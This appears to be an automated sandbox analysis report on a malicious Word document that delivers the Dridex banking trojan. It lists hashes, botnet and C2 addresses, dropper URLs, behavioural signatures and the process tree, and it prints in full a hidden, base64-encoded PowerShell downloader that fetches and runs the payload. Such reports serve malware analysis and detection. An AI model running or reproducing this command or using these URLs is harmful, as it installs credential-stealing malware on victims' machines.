Order_Gift_Card_411022863.doc
General
Target
Filesize
Completed
Order_Gift_Card_411022863.doc
112KB
26-11-2020 07:50
Score
10
/10
MD5
SHA1
SHA256
07faf71908158870c1e1af97bd89d12d
567052f0b8b453932db3e18208990bca12bcc167
255327cc966eebcdb52f94414c36920585f2190ae10a9560db5047def717b2ac
Malware Config
Extracted
| Language | ps1 |
| Deobfuscated |
|
| URLs |
exe.dropper
https://burstner.clabris.se/ucjk7st.zip exe.dropperhttp://bespokeweddings.ie/k1c8dh4.rar exe.dropperhttps://conjurosdeamoryhechiceriaacacio.com/tjbdhdvi1.zip exe.dropperhttps://keitauniv.keita.ae/wchfvdsd7.rar exe.dropperhttps://cms.keita.ae/h0mqrz.rar exe.dropperhttps://airbornegroup.net/y461xrm.zip exe.dropperhttps://phones.pmrspain.com/xzeoxn8.rar exe.dropperhttp://oya.qa/lfonl5.rar |
Extracted
| Family | dridex |
| Botnet | 10555 |
| C2 |
194.225.58.216:443 178.254.40.132:691 216.172.165.70:3889 198.57.200.100:3786 |
| rc4.plain |
|
| rc4.plain |
|
Signatures 14
Filter: none
Discovery
-
Dridex
Description
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
Tags
-
Process spawned unexpected child processcmd.exe
Description
This typically indicates the parent process was compromised via an exploit or macro.
Reported IOCs
description pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 480 4060 cmd.exe -
Dridex Loader
Description
Detects Dridex both x86 and x64 loader in memory.
Tags
Reported IOCs
resource yara_rule behavioral2/memory/3956-14-0x0000000002F40000-0x0000000002F7D000-memory.dmp dridex_ldr behavioral2/memory/3956-15-0x0000000002F40000-0x0000000002F7D000-memory.dmp dridex_ldr -
Blocklisted process makes network requestpowershell.exerundll32.exe
Reported IOCs
flow pid process 19 3424 powershell.exe 26 3956 rundll32.exe 28 3956 rundll32.exe 34 3956 rundll32.exe 35 3956 rundll32.exe -
Loads dropped DLLrundll32.exe
Reported IOCs
pid process 3956 rundll32.exe -
Checks installed software on the system
Description
Looks up Uninstall key entries in the registry to enumerate software on the system.
Tags
TTPs
-
Checks whether UAC is enabledrundll32.exe
Tags
TTPs
Reported IOCs
description ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe -
Checks processor information in registryWINWORD.EXE
Description
Processor information is often read in order to detect sandboxing environments.
TTPs
Reported IOCs
description ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registryWINWORD.EXE
TTPs
Reported IOCs
description ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListenerWINWORD.EXE
Reported IOCs
pid process 412 WINWORD.EXE 412 WINWORD.EXE -
Suspicious behavior: EnumeratesProcessespowershell.exe
Reported IOCs
pid process 3424 powershell.exe 3424 powershell.exe 3424 powershell.exe -
Suspicious use of AdjustPrivilegeTokenpowershell.exe
Reported IOCs
description pid process Token: SeDebugPrivilege 3424 powershell.exe -
Suspicious use of SetWindowsHookExWINWORD.EXE
Reported IOCs
pid process 412 WINWORD.EXE 412 WINWORD.EXE 412 WINWORD.EXE 412 WINWORD.EXE 412 WINWORD.EXE 412 WINWORD.EXE 412 WINWORD.EXE 412 WINWORD.EXE 412 WINWORD.EXE -
Suspicious use of WriteProcessMemorycmd.exepowershell.exerundll32.exe
Reported IOCs
description pid process target process PID 480 wrote to memory of 3848 480 cmd.exe msg.exe PID 480 wrote to memory of 3848 480 cmd.exe msg.exe PID 480 wrote to memory of 3424 480 cmd.exe powershell.exe PID 480 wrote to memory of 3424 480 cmd.exe powershell.exe PID 3424 wrote to memory of 2544 3424 powershell.exe rundll32.exe PID 3424 wrote to memory of 2544 3424 powershell.exe rundll32.exe PID 2544 wrote to memory of 3956 2544 rundll32.exe rundll32.exe PID 2544 wrote to memory of 3956 2544 rundll32.exe rundll32.exe PID 2544 wrote to memory of 3956 2544 rundll32.exe rundll32.exe
Processes 6
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEPID:412"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Order_Gift_Card_411022863.doc" /o ""Checks processor information in registryEnumerates system info in registrySuspicious behavior: AddClipboardFormatListenerSuspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exePID:480cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD JAAwADYAVAAgAD0AIAAgAFsAVAB5AHAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiACAALQBGACcAZQBtAC4AaQBvAC4ARABpAHIARQBDACcALAAnAHMAWQBTAHQAJwAsACcAUgBZACcALAAnAFQATwAnACkAOwAgACQAOQB5AGUASAA1AE0AIAA9AFsAdAB5AFAARQBdACgAIgB7ADUAfQB7ADkAfQB7ADMAfQB7ADIAfQB7ADcAfQB7ADQAfQB7ADAAfQB7ADgAfQB7ADEAfQB7ADYAfQAiACAALQBGACAAJwBPAEkAbgBUACcALAAnAEUAJwAsACcALgBuAEUAVAAuAHMARQAnACwAJwBzAFQAZQBNACcALAAnAGkAQwBFAFAAJwAsACcAcwAnACwAJwBSACcALAAnAFIAdgAnACwAJwBNAEEATgBBAEcAJwAsACcAWQAnACkAOwAkAFQAcAA5AHEAdgByAHAAPQAoACgAJwBDAGYAJwArACcAZgAnACkAKwAnAGUAZgAnACsAJwAyAG8AJwApADsAJABIAGgAYgBuAHEAZQBrAD0AJABKADAAeQAxAGsAbgBmACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBAGUAZQAwADIAMwA3ADsAJABHAHEAeABiAGgANQBnAD0AKAAoACcAVQBfACcAKwAnAGEAJwApACsAJwB2ADYAJwArACcAZwBtACcAKQA7ACAAKAAgAEcAYwBpACAAIAAoACcAVgBhAHIAJwArACcASQBBAEIAbABFACcAKwAnADoAMAA2AFQAJwApACAAIAApAC4AVgBhAGwAdQBlADoAOgAiAEMAYABSAEUAYQBgAFQAYABlAEQASQByAEUAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwAzACcAKwAnAFQATAAnACkAKwAoACcAWgBoACcAKwAnAG8AZAAxACcAKQArACgAJwBhACcAKwAnAGwAMwBUACcAKQArACgAJwBMAE4ANwAnACsAJwB6ACcAKwAnADgAcQAnACkAKwAnADMAJwArACgAJwA5ADMAVAAnACsAJwBMACcAKQApAC4AIgBSAEUAYABwAEwAYABBAGMAZQAiACgAKAAnADMAJwArACcAVABMACcAKQAsAFsAUwB0AFIAaQBuAGcAXQBbAGMASABBAHIAXQA5ADIAKQApACkAOwAkAE0AaQB1AHIAZQBpAGsAPQAoACgAJwBHADEAcQAnACsAJwBxAG4AJwApACsAJwByAHkAJwApADsAIAAkADkAeQBlAEgANQBNADoAOgAiAHMARQBDAHUAUgBgAEkAYABUAHkAcAByAE8AYABUAG8AYABjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQARwB3ADcAMQBlAG0AagA9ACgAKAAnAFUAJwArACcAZgA5ACcAKQArACgAJwBsAG0AdQAnACsAJwBuACcAKQApADsAJABHAGwAeAB4ADUAcAB5ACAAPQAgACgAKAAnAFUAbgByACcAKwAnAHQAaAAnACsAJwBwACcAKQArACcAcABhACcAKwAnAGYAJwApADsAJABVAHMAbgAxAGYAbABtAD0AKAAoACcASQAnACsAJwBpAGsAeAB4ACcAKQArACcAZgAwACcAKQA7ACQAUgAwAGsAXwBiADEAbQA9ACgAKAAnAFIAXwAnACsAJwBfACcAKQArACgAJwBlAGUANgAnACsAJwBoACcAKQApADsAJABQAHgAegB4ADgAegByAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AWgBoAG8AZAAxAGEAbAB7ADAAJwArACcAfQBOADcAegAnACsAJwA4AHEAMwA5AHsAJwArACcAMAB9ACcAKQAtAGYAIAAgAFsAYwBIAGEAUgBdADkAMgApACsAJABHAGwAeAB4ADUAcAB5ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABPADcAdgAzAGYAYwBhAD0AKAAnAFoAeQAnACsAKAAnAGkAZQB0ACcAKwAnAGYAMgAnACkAKQA7ACQAUwB4ADEAagB1AGUAbwA9AE4AZQBgAHcALQBvAGIAYABqAGUAYwB0ACAAbgBlAHQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQARwBoAGsAZwAzAGgAZQA9ACgAKAAoACcAaAB0AHQAcABzACcAKwAnADoAJwApACsAJwBLACcAKwAnACkAJwArACgAKAAnACgAbQAnACsAJwBiADEAKQAoAEsAJwApACkAKwAnACkAJwArACcAKAAnACsAKAAnAG0AYgAnACsAJwAxACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBiAHUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwAuAGMAJwApACsAKAAnAGwAYQBiAHIAaQBzACcAKwAnAC4AJwArACcAcwBlACcAKwAnAEsAJwApACsAKAAoACcAKQAoACcAKQApACsAJwBtAGIAJwArACcAMQAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAHUAYwBqAGsAJwArACcANwBzAHQALgAnACkAKwAoACcAegBpAHAAJwArACcAQAAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQAnACsAJwBiADEAKQAnACsAJwAoAGIAZQAnACkAKQArACcAcwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBrAGUAJwApACsAKAAnAHcAZQBkACcAKwAnAGQAJwApACsAJwBpAG4AJwArACgAJwBnAHMAJwArACcALgAnACkAKwAnAGkAJwArACgAKAAnAGUASwApACgAJwArACcAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQAnACsAJwApACgAJwApACkAKwAoACcAawAnACsAJwAxAGMAOABkAGgAJwApACsAJwA0ACcAKwAoACcALgByACcAKwAnAGEAJwApACsAKAAnAHIAQABoAHQAdAAnACsAJwBwACcAKQArACgAKAAnAHMAJwArACcAOgBLACkAKABtACcAKwAnAGIAMQAnACsAJwApACgASwApACcAKQApACsAKAAoACcAKABtAGIAMQAnACsAJwApACgAJwArACcAYwBvACcAKQApACsAKAAnAG4AagAnACsAJwB1AHIAJwApACsAKAAnAG8AcwAnACsAJwBkAGUAYQAnACkAKwAoACcAbQBvACcAKwAnAHIAJwApACsAKAAnAHkAaAAnACsAJwBlAGMAJwApACsAKAAnAGgAaQAnACsAJwBjAGUAcgBpAGEAJwApACsAJwBhACcAKwAoACgAJwBjAGEAYwAnACsAJwBpAG8ALgBjAG8AJwArACcAbQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AJwArACcAYgAxACcAKQApACsAJwApACcAKwAoACgAJwAoACcAKwAnAHQAagAnACkAKQArACgAJwBiACcAKwAnAGQAaABkAHYAaQAnACsAJwAxAC4AJwApACsAKAAnAHoAaQBwACcAKwAnAEAAaAAnACkAKwAoACgAJwB0AHQAcABzACcAKwAnADoASwApACgAbQAnACsAJwBiACcAKQApACsAKAAoACcAMQApACcAKwAnACgASwAnACsAJwApACgAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQApACcAKQApACsAKAAoACcAKABrACcAKwAnAGUAaQB0ACcAKQApACsAKAAnAGEAJwArACcAdQBuAGkAdgAuACcAKwAnAGsAZQAnACkAKwAoACcAaQB0ACcAKwAnAGEAJwApACsAKAAnAC4AYQAnACsAJwBlAEsAJwApACsAKAAoACcAKQAoAG0AJwArACcAYgAxACcAKQApACsAKAAoACcAKQAoAHcAJwArACcAYwBoAGYAJwApACkAKwAoACcAdgBkAHMAJwArACcAZAAnACkAKwAnADcALgAnACsAJwByACcAKwAnAGEAJwArACcAcgAnACsAJwBAACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAKAAnADoASwAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBtAGIAMQApACgAJwApACkAKwAnAEsAJwArACgAKAAnACkAKABtACcAKwAnAGIAMQApACcAKwAnACgAYwAnACkAKQArACcAbQAnACsAKAAnAHMALgBrACcAKwAnAGUAaQB0AGEAJwApACsAJwAuAGEAJwArACgAKAAnAGUAJwArACcASwApACgAbQBiADEAKQAoACcAKwAnAGgAJwArACcAMABtACcAKQApACsAKAAnAHEAcgAnACsAJwB6ACcAKQArACgAJwAuACcAKwAnAHIAYQAnACkAKwAnAHIAJwArACcAQAAnACsAJwBoACcAKwAoACgAJwB0AHQAcAAnACsAJwBzADoASwApACcAKwAnACgAbQBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQBiACcAKwAnADEAKQAoACcAKwAnAGEAJwApACkAKwAoACcAaQByACcAKwAnAGIAJwApACsAJwBvACcAKwAoACcAcgAnACsAJwBuAGUAZwAnACkAKwAnAHIAJwArACgAJwBvAHUAJwArACcAcAAnACkAKwAnAC4AJwArACcAbgAnACsAJwBlACcAKwAnAHQAJwArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiACcAKQApACsAJwAxACcAKwAoACgAJwApACgAeQA0ACcAKwAnADYAJwApACkAKwAnADEAeAAnACsAKAAnAHIAJwArACcAbQAuACcAKQArACcAegBpACcAKwAoACcAcABAACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcAAnACsAJwBzADoAJwArACgAKAAnAEsAKQAoACcAKwAnAG0AJwApACkAKwAnAGIAMQAnACsAKAAoACcAKQAoAEsAJwArACcAKQAoAG0AJwApACkAKwAoACgAJwBiADEAJwArACcAKQAoAHAAaAAnACsAJwBvACcAKwAnAG4AZQBzACcAKQApACsAJwAuAHAAJwArACgAJwBtAHIAcwBwAGEAJwArACcAaQAnACkAKwAnAG4AJwArACgAKAAnAC4AYwBvAG0ASwApACgAJwArACcAbQBiADEAKQAoAHgAegAnACsAJwBlACcAKwAnAG8AeAAnACkAKQArACcAbgA4ACcAKwAnAC4AJwArACcAcgBhACcAKwAnAHIAJwArACgAJwBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAnAEsAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBtAGIAJwApACkAKwAoACgAJwAxACkAKABLACkAKABtAGIAJwArACcAMQAnACsAJwApACgAJwArACcAbwAnACkAKQArACcAeQAnACsAKAAoACcAYQAuAHEAYQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AYgAxACkAJwArACcAKAAnACkAKQArACgAJwBsAGYAbwAnACsAJwBuAGwANQAuAHIAJwApACsAJwBhAHIAJwApACkALgAiAFIAYABFAGAAUABsAGEAYwBFACIAKAAoACgAKAAoACcASwAnACsAJwApACgAJwApACkAKwAoACgAJwBtAGIAJwArACcAMQApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAcABsAGkAVAAiACgAJABPAGcAMgByADEAZwBpACAAKwAgACQASABoAGIAbgBxAGUAawAgACsAIAAkAEUAMgBiAGYAbABoAHUAKQA7ACQAQQBxAGQAMgB1AGgANgA9ACgAJwBZAHoAJwArACcAXwBuACcAKwAoACcAcgAnACsAJwBoAGQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAMgByAHAAbQBnAGUAIABpAG4AIAAkAEcAaABrAGcAMwBoAGUAIAB8ACAAUwBvAFIAdABgAC0ATwBiAGoAZQBgAGMAVAAgAHsAZwBlAGAAVAAtAHIAYABBAGAATgBkAE8ATQB9ACkAewB0AHIAeQB7ACQAUwB4ADEAagB1AGUAbwAuACIARABgAG8AVwBuAGwAYABvAEEAYABkAEYAaQBMAGUAIgAoACQAVgAyAHIAcABtAGcAZQAsACAAJABQAHgAegB4ADgAegByACkAOwAkAEcAeQB2ADkAZAAyAGUAPQAoACcAUQBzACcAKwAoACcAdwBwACcAKwAnAGIANgAnACkAKwAnAGwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFAAeAB6AHgAOAB6AHIAKQAuACIAbABFAG4AYABnAFQAaAAiACAALQBnAGUAIAA0ADUANwA5ADIAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyAC4AZQAnACsAJwB4AGUAJwApACAAJABQAHgAegB4ADgAegByACwAMAA7ACQAVABkAGQAYwBfADMAbQA9ACgAKAAnAEQAdABiACcAKwAnAGcANgAnACkAKwAnAHcAJwArACcAMAAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQB5AHcAeABvAGsAPQAoACcAUwAnACsAKAAnAGQAYwAnACsAJwB3AHEAdgBjACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGsAMgBlAF8AcgBpAD0AKAAoACcARwB4ACcAKwAnAF8AJwApACsAKAAnAGkAJwArACcAYwBnADQAJwApACkAProcess spawned unexpected child processSuspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exePID:3848msg Admin /v Word experienced an error trying to open the file.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePID:3424POwersheLL -w hidden -ENCOD JAAwADYAVAAgAD0AIAAgAFsAVAB5AHAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiACAALQBGACcAZQBtAC4AaQBvAC4ARABpAHIARQBDACcALAAnAHMAWQBTAHQAJwAsACcAUgBZACcALAAnAFQATwAnACkAOwAgACQAOQB5AGUASAA1AE0AIAA9AFsAdAB5AFAARQBdACgAIgB7ADUAfQB7ADkAfQB7ADMAfQB7ADIAfQB7ADcAfQB7ADQAfQB7ADAAfQB7ADgAfQB7ADEAfQB7ADYAfQAiACAALQBGACAAJwBPAEkAbgBUACcALAAnAEUAJwAsACcALgBuAEUAVAAuAHMARQAnACwAJwBzAFQAZQBNACcALAAnAGkAQwBFAFAAJwAsACcAcwAnACwAJwBSACcALAAnAFIAdgAnACwAJwBNAEEATgBBAEcAJwAsACcAWQAnACkAOwAkAFQAcAA5AHEAdgByAHAAPQAoACgAJwBDAGYAJwArACcAZgAnACkAKwAnAGUAZgAnACsAJwAyAG8AJwApADsAJABIAGgAYgBuAHEAZQBrAD0AJABKADAAeQAxAGsAbgBmACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBAGUAZQAwADIAMwA3ADsAJABHAHEAeABiAGgANQBnAD0AKAAoACcAVQBfACcAKwAnAGEAJwApACsAJwB2ADYAJwArACcAZwBtACcAKQA7ACAAKAAgAEcAYwBpACAAIAAoACcAVgBhAHIAJwArACcASQBBAEIAbABFACcAKwAnADoAMAA2AFQAJwApACAAIAApAC4AVgBhAGwAdQBlADoAOgAiAEMAYABSAEUAYQBgAFQAYABlAEQASQByAEUAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwAzACcAKwAnAFQATAAnACkAKwAoACcAWgBoACcAKwAnAG8AZAAxACcAKQArACgAJwBhACcAKwAnAGwAMwBUACcAKQArACgAJwBMAE4ANwAnACsAJwB6ACcAKwAnADgAcQAnACkAKwAnADMAJwArACgAJwA5ADMAVAAnACsAJwBMACcAKQApAC4AIgBSAEUAYABwAEwAYABBAGMAZQAiACgAKAAnADMAJwArACcAVABMACcAKQAsAFsAUwB0AFIAaQBuAGcAXQBbAGMASABBAHIAXQA5ADIAKQApACkAOwAkAE0AaQB1AHIAZQBpAGsAPQAoACgAJwBHADEAcQAnACsAJwBxAG4AJwApACsAJwByAHkAJwApADsAIAAkADkAeQBlAEgANQBNADoAOgAiAHMARQBDAHUAUgBgAEkAYABUAHkAcAByAE8AYABUAG8AYABjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQARwB3ADcAMQBlAG0AagA9ACgAKAAnAFUAJwArACcAZgA5ACcAKQArACgAJwBsAG0AdQAnACsAJwBuACcAKQApADsAJABHAGwAeAB4ADUAcAB5ACAAPQAgACgAKAAnAFUAbgByACcAKwAnAHQAaAAnACsAJwBwACcAKQArACcAcABhACcAKwAnAGYAJwApADsAJABVAHMAbgAxAGYAbABtAD0AKAAoACcASQAnACsAJwBpAGsAeAB4ACcAKQArACcAZgAwACcAKQA7ACQAUgAwAGsAXwBiADEAbQA9ACgAKAAnAFIAXwAnACsAJwBfACcAKQArACgAJwBlAGUANgAnACsAJwBoACcAKQApADsAJABQAHgAegB4ADgAegByAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AWgBoAG8AZAAxAGEAbAB7ADAAJwArACcAfQBOADcAegAnACsAJwA4AHEAMwA5AHsAJwArACcAMAB9ACcAKQAtAGYAIAAgAFsAYwBIAGEAUgBdADkAMgApACsAJABHAGwAeAB4ADUAcAB5ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABPADcAdgAzAGYAYwBhAD0AKAAnAFoAeQAnACsAKAAnAGkAZQB0ACcAKwAnAGYAMgAnACkAKQA7ACQAUwB4ADEAagB1AGUAbwA9AE4AZQBgAHcALQBvAGIAYABqAGUAYwB0ACAAbgBlAHQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQARwBoAGsAZwAzAGgAZQA9ACgAKAAoACcAaAB0AHQAcABzACcAKwAnADoAJwApACsAJwBLACcAKwAnACkAJwArACgAKAAnACgAbQAnACsAJwBiADEAKQAoAEsAJwApACkAKwAnACkAJwArACcAKAAnACsAKAAnAG0AYgAnACsAJwAxACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBiAHUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwAuAGMAJwApACsAKAAnAGwAYQBiAHIAaQBzACcAKwAnAC4AJwArACcAcwBlACcAKwAnAEsAJwApACsAKAAoACcAKQAoACcAKQApACsAJwBtAGIAJwArACcAMQAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAHUAYwBqAGsAJwArACcANwBzAHQALgAnACkAKwAoACcAegBpAHAAJwArACcAQAAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQAnACsAJwBiADEAKQAnACsAJwAoAGIAZQAnACkAKQArACcAcwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBrAGUAJwApACsAKAAnAHcAZQBkACcAKwAnAGQAJwApACsAJwBpAG4AJwArACgAJwBnAHMAJwArACcALgAnACkAKwAnAGkAJwArACgAKAAnAGUASwApACgAJwArACcAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQAnACsAJwApACgAJwApACkAKwAoACcAawAnACsAJwAxAGMAOABkAGgAJwApACsAJwA0ACcAKwAoACcALgByACcAKwAnAGEAJwApACsAKAAnAHIAQABoAHQAdAAnACsAJwBwACcAKQArACgAKAAnAHMAJwArACcAOgBLACkAKABtACcAKwAnAGIAMQAnACsAJwApACgASwApACcAKQApACsAKAAoACcAKABtAGIAMQAnACsAJwApACgAJwArACcAYwBvACcAKQApACsAKAAnAG4AagAnACsAJwB1AHIAJwApACsAKAAnAG8AcwAnACsAJwBkAGUAYQAnACkAKwAoACcAbQBvACcAKwAnAHIAJwApACsAKAAnAHkAaAAnACsAJwBlAGMAJwApACsAKAAnAGgAaQAnACsAJwBjAGUAcgBpAGEAJwApACsAJwBhACcAKwAoACgAJwBjAGEAYwAnACsAJwBpAG8ALgBjAG8AJwArACcAbQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AJwArACcAYgAxACcAKQApACsAJwApACcAKwAoACgAJwAoACcAKwAnAHQAagAnACkAKQArACgAJwBiACcAKwAnAGQAaABkAHYAaQAnACsAJwAxAC4AJwApACsAKAAnAHoAaQBwACcAKwAnAEAAaAAnACkAKwAoACgAJwB0AHQAcABzACcAKwAnADoASwApACgAbQAnACsAJwBiACcAKQApACsAKAAoACcAMQApACcAKwAnACgASwAnACsAJwApACgAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQApACcAKQApACsAKAAoACcAKABrACcAKwAnAGUAaQB0ACcAKQApACsAKAAnAGEAJwArACcAdQBuAGkAdgAuACcAKwAnAGsAZQAnACkAKwAoACcAaQB0ACcAKwAnAGEAJwApACsAKAAnAC4AYQAnACsAJwBlAEsAJwApACsAKAAoACcAKQAoAG0AJwArACcAYgAxACcAKQApACsAKAAoACcAKQAoAHcAJwArACcAYwBoAGYAJwApACkAKwAoACcAdgBkAHMAJwArACcAZAAnACkAKwAnADcALgAnACsAJwByACcAKwAnAGEAJwArACcAcgAnACsAJwBAACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAKAAnADoASwAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBtAGIAMQApACgAJwApACkAKwAnAEsAJwArACgAKAAnACkAKABtACcAKwAnAGIAMQApACcAKwAnACgAYwAnACkAKQArACcAbQAnACsAKAAnAHMALgBrACcAKwAnAGUAaQB0AGEAJwApACsAJwAuAGEAJwArACgAKAAnAGUAJwArACcASwApACgAbQBiADEAKQAoACcAKwAnAGgAJwArACcAMABtACcAKQApACsAKAAnAHEAcgAnACsAJwB6ACcAKQArACgAJwAuACcAKwAnAHIAYQAnACkAKwAnAHIAJwArACcAQAAnACsAJwBoACcAKwAoACgAJwB0AHQAcAAnACsAJwBzADoASwApACcAKwAnACgAbQBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQBiACcAKwAnADEAKQAoACcAKwAnAGEAJwApACkAKwAoACcAaQByACcAKwAnAGIAJwApACsAJwBvACcAKwAoACcAcgAnACsAJwBuAGUAZwAnACkAKwAnAHIAJwArACgAJwBvAHUAJwArACcAcAAnACkAKwAnAC4AJwArACcAbgAnACsAJwBlACcAKwAnAHQAJwArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiACcAKQApACsAJwAxACcAKwAoACgAJwApACgAeQA0ACcAKwAnADYAJwApACkAKwAnADEAeAAnACsAKAAnAHIAJwArACcAbQAuACcAKQArACcAegBpACcAKwAoACcAcABAACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcAAnACsAJwBzADoAJwArACgAKAAnAEsAKQAoACcAKwAnAG0AJwApACkAKwAnAGIAMQAnACsAKAAoACcAKQAoAEsAJwArACcAKQAoAG0AJwApACkAKwAoACgAJwBiADEAJwArACcAKQAoAHAAaAAnACsAJwBvACcAKwAnAG4AZQBzACcAKQApACsAJwAuAHAAJwArACgAJwBtAHIAcwBwAGEAJwArACcAaQAnACkAKwAnAG4AJwArACgAKAAnAC4AYwBvAG0ASwApACgAJwArACcAbQBiADEAKQAoAHgAegAnACsAJwBlACcAKwAnAG8AeAAnACkAKQArACcAbgA4ACcAKwAnAC4AJwArACcAcgBhACcAKwAnAHIAJwArACgAJwBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAnAEsAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBtAGIAJwApACkAKwAoACgAJwAxACkAKABLACkAKABtAGIAJwArACcAMQAnACsAJwApACgAJwArACcAbwAnACkAKQArACcAeQAnACsAKAAoACcAYQAuAHEAYQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AYgAxACkAJwArACcAKAAnACkAKQArACgAJwBsAGYAbwAnACsAJwBuAGwANQAuAHIAJwApACsAJwBhAHIAJwApACkALgAiAFIAYABFAGAAUABsAGEAYwBFACIAKAAoACgAKAAoACcASwAnACsAJwApACgAJwApACkAKwAoACgAJwBtAGIAJwArACcAMQApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAcABsAGkAVAAiACgAJABPAGcAMgByADEAZwBpACAAKwAgACQASABoAGIAbgBxAGUAawAgACsAIAAkAEUAMgBiAGYAbABoAHUAKQA7ACQAQQBxAGQAMgB1AGgANgA9ACgAJwBZAHoAJwArACcAXwBuACcAKwAoACcAcgAnACsAJwBoAGQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAMgByAHAAbQBnAGUAIABpAG4AIAAkAEcAaABrAGcAMwBoAGUAIAB8ACAAUwBvAFIAdABgAC0ATwBiAGoAZQBgAGMAVAAgAHsAZwBlAGAAVAAtAHIAYABBAGAATgBkAE8ATQB9ACkAewB0AHIAeQB7ACQAUwB4ADEAagB1AGUAbwAuACIARABgAG8AVwBuAGwAYABvAEEAYABkAEYAaQBMAGUAIgAoACQAVgAyAHIAcABtAGcAZQAsACAAJABQAHgAegB4ADgAegByACkAOwAkAEcAeQB2ADkAZAAyAGUAPQAoACcAUQBzACcAKwAoACcAdwBwACcAKwAnAGIANgAnACkAKwAnAGwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQ